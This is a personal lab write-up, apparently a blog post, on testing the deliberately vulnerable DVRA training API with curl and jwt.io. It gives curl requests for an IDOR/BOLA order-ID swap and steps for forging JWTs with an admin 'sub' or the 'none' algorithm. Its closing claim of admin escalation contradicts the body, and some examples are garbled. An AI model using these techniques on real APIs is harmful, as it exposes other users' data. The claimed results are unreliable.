DVRA Security Project

Environment: Kali Linux Terminal, I used curl on this project Target: Damn Vulnerable RESTaurant API (DVRA)

Broken Object Level Authorization (BOLA) is an API vulnerability that allows an attacker to bypass access control mechanisms and perform actions on specific objects without proper permissions. Typically, objects are accessed using unique identifiers such as integers or UUIDs. An attacker with an access to these identifiers can read, modify, or delete related objects. This vulnerability occurs when an API endpoint fails to properly check whether a user has permission to access the requested object. This issue is commonly referred to as IDOR (Insecure Direct Object Reference).

Example: If you can change:

/orders/1 → /orders/2

and see someone else's order → BOLA vulnerability

IDOR (Insecure Direct Object Reference)

IDOR is a type of BOLA where:

The application exposes object IDs directly and does not validate ownership.

Example:

GET /orders/5

If you can access order 5 without owning it → IDOR attack

Broken Authentication

Broken Authentication risks are focused on authentication aspects, not authorization.

This occurs when:

• Login/session handling is weak
• Tokens can be forged or reused
• Identity is not properly verified

Example:

• Using a fake or modified token to access another account

JWT (JSON Web Token)

JWT is used for authentication.

• The token is a JWT token sent in the HTTP request by the user.
• The token is decoded via jwt.decode method.
• If the token is succesfully decoded and user exists in the database, the user object is returned.
• If the token is not decoded succesfully or if the user doesn't exist in the database, the function raises HTTPException with 401 Unauthorized status code. It results in the HTTP 401 response sent to the client.

Structure:

HEADER.PAYLOAD.SIGNATURE

Example payload:

{
  "sub": "user1",
  "exp": "user"
}

Tools like jwt.io allow you to:

• Decode tokens
• Modify payloads
• Re-sign tokens (if weak security)

Setting Up Damn-Vulnerable-RESTaurant-API-Game

In Kali Linux terminal:

git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git
cd Damn-Vulnerable-RESTaurant-API-Game
sudo ./start_app.sh

API runs on:

http://localhost:8091

Register Users

I had 2 users, "Gamu" and "Blee," that I had created, so I could see the different responses and for the exploitation of any vulnerabilities on different endpoints. On this project, I was just testing out BOLA and Broken Auth.

It is important, as you register or explore endpoints, that you use the schema provided on each endpoint, because if you don't, it will give you an error.

Create Users with this command:

curl -X POST http://localhost:8091/register \
-H "Content-Type: application/json" \
-d '{
  "username":"user1",
  "password":"pass123",
  "phone_number":"123456789",
  "first_name":"User",
  "last_name":"One"
}'

LOGIN (Broken Auth Learning)

VERY IMPORTANT: /token uses form data, NOT JSON

Endpoint:

POST /token
curl -X POST http://localhost:8091/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=user1&password=pass123"

Response:

{
  "access_token": "JWT_TOKEN",
  "token_type": "bearer"
}

Save this token:

export TOKEN="your_token_here"

or
vi tokenfile.txt

Access Profile + Test Authentication (Broken Auth)

Test Profile endpoint Without Token, I had forgotten to put it in "URL"

With the Credentials I used to create accounts, I went to the website and tried the Authorization. It did not give me much information.

Endpoint:

What to check:

• If it returns user data → 🚨 Broken Authentication, it does expose the Broken Authentication. But do check it out
• If it says unauthorized → ✅ secure

GET /profile
curl -H "Authorization: Bearer $TOKEN" \
http://localhost:8091/profile"

You should see the attacker profile, which in this instance was "Gamu."

WHAT THIS MEANS

• Token = your identity
• If API doesn't check token → broken auth

8. Exploiting Broken Authentication (JWT Manipulation)

Step 1: Decode Token

Go to: jwt.io

Paste your token.

You'll see:

{
  "sub": "user1",
  "exp": "1234567"
}

I also wanted to check what happens if you leave the payload open on the 'sub', will it return anything

Modify Payload

Change:

"role": "Blee"

To:

"sub": "admin"

Re-sign Token

If DVRA uses weak signing (or none), you can:

• Use none algorithm OR
• Re-sign with known secret

Result

• Access to the admin endpoint, which I couldn't exploit, is still in the process of being exploited
• Privilege escalation, that's what we want

This confirms: ✔️ Broken Authentication ✔️ JWT Misconfiguration, as we could modify with different 'sub.'

Create Orders (Setup for BOLA)

Endpoint:

If you do not use the correct schema provided on the endpoint, you will get an error. Ensure you use the schema, then edit the string

POST /orders
curl -X POST http://localhost:8091/orders \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
  "delivery_address":"Test Street",
  "phone_number":"123456",
  "items":[1,2],
  "coupon_id":1
}'

Look for:

"id": 1 and also "user_id": 19

Exploiting BOLA / IDOR (Orders Endpoint)

Changing the object ID reveals data, which I am not supposed to get PII. Personally Identifiable Information (PII) is data that can identify, contact, or locate a specific individual, such as social security numbers, full names, biometric records, or email addresses. It is crucial for protecting privacy and preventing identity theft

Endpoint:

GET /orders/{order_id}

Attack

1. Get your order:

curl -H "Authorization: Bearer $TOKEN" \
http://localhost:8091/orders/1

1. Change ID:

curl -H "Authorization: Bearer $TOKEN" \
http://localhost:8091/orders/2

Result

• You can view another user's order
• No ownership validation is performed

This confirms: ✔️ IDOR vulnerability ✔️ BOLA vulnerability

Fix Authorization

• Enforce role checks on every endpoint
• Never trust client input for roles

This project demonstrated how insecure API design leads to:

• Unauthorized data access (BOLA/IDOR)
• Privilege escalation (Broken Authentication)
• Token abuse (JWT weaknesses)

Using Kali Linux, curl, and jwt.io, we successfully:

• Intercepted and modified requests
• Accessed other users' data
• Escalated privileges to admin

I also did a demo video, so do check it out and share feedback.

Welcome to my API Hacking series, as we learn and exploit different vulnerabilities. For now, enjoy this first of many

https://youtu.be/DfdDkd9EDpc?si=YQOFDboboF9gCX0S